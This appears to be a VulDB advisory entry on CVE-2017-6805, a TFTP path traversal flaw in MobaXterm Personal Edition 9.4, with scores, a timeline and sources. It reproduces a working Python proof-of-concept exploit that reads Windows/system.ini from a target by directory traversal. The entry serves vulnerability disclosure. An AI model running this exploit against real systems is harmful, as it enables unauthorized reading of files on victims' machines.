MobaXterm Personal Edition 9.4 tftp path traversal

CVSS Meta Temp Score
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CTI Interest Score
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5.4$0-$5k0.00

Summaryinfo

A vulnerability classified as critical was found in MobaXterm Personal Edition 9.4. This affects an unknown part of the component tftp. Such manipulation leads to path traversal. This vulnerability is referenced as CVE-2017-6805. It is possible to launch the attack remotely. Furthermore, an exploit is available.

Detailsinfo

A vulnerability, which was classified as critical, has been found in MobaXterm Personal Edition 9.4 (Windowing System Software). Affected by this issue is an unknown function of the component tftp. The manipulation with an unknown input leads to a path traversal vulnerability. Using CWE to declare the problem leads to CWE-22. The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Impacted is confidentiality, and integrity. CVE summarizes:

Directory traversal vulnerability in the TFTP server in MobaXterm Personal Edition 9.4 allows remote attackers to read arbitrary files via a .. (dot dot) in a GET command.

The bug was discovered 03/12/2017. The weakness was published 03/13/2017 by John Page (hyp3rlinx) as CVE-2017-6805 MobaXterm Personal Edition v9.4 Directory Traversal File Disclosure as not defined mailinglist post (Full-Disclosure). The advisory is available at seclists.org. The vendor was not involved in the coordination of the public release. This vulnerability is handled as CVE-2017-6805 since 03/10/2017. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1006 by the MITRE ATT&CK project.

A public exploit has been developed by John Page and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 1 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

import sys,socket

print 'MobaXterm TFTP Directory Traversal 0day Exploit'
print 'Read Windows/system.ini'
print 'hyp3rlinx \n'

HOST = raw_input("[IP]>")
FILE = 'Windows/system.ini'
PORT = 69

PAYLOAD = "\x00\x01"                                #TFTP Read
PAYLOAD += "../" * 4 + FILE + "\x00"                #Read system.ini using
directory traversal
PAYLOAD += "netascii\x00"                           #TFTP Type

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()

The mailinglist post contains the following remark:

Vendor Notification: No Reply

The vulnerability is also documented in the databases at Exploit-DB (41592) and SecurityFocus (BID 96886†). If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

Type

Name

Version

CPE 2.3info

CPE 2.2info

Video

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CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 5.9
VulDB Meta Temp Score: 5.6

VulDB Base Score: 6.5
VulDB Temp Score: 5.9
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 5.3
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Path traversal
CWE: CWE-22
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: John Page
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

03/10/2017 🔍
03/12/2017 +2 days 🔍
03/13/2017 +1 days 🔍
03/13/2017 +0 days 🔍
03/13/2017 +0 days 🔍
03/17/2017 +4 days 🔍
03/20/2017 +3 days 🔍
09/09/2020 +1269 days 🔍

Sourcesinfo

Advisory: CVE-2017-6805 MobaXterm Personal Edition v9.4 Directory Traversal File Disclosure
Researcher: John Page (hyp3rlinx)
Status: Not defined

CVE: CVE-2017-6805 (🔍)
GCVE (CVE): GCVE-0-2017-6805
GCVE (VulDB): GCVE-100-98210
SecurityFocus: 96886 - MobaXterm Personal Edition CVE-2017-6805 Directory Traversal Vulnerability
OSVDB: - CVE-2017-6805 - MobaXterm Personal Edition - Directory Traversal Issue

scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 03/17/2017 08:07
Updated: 09/09/2020 14:47
Changes: 03/17/2017 08:07 (71), 09/09/2020 14:47 (5)
Complete: 🔍
Cache ID: 216::103

If you want to get best quality of vulnerability data, you may have to visit VulDB.

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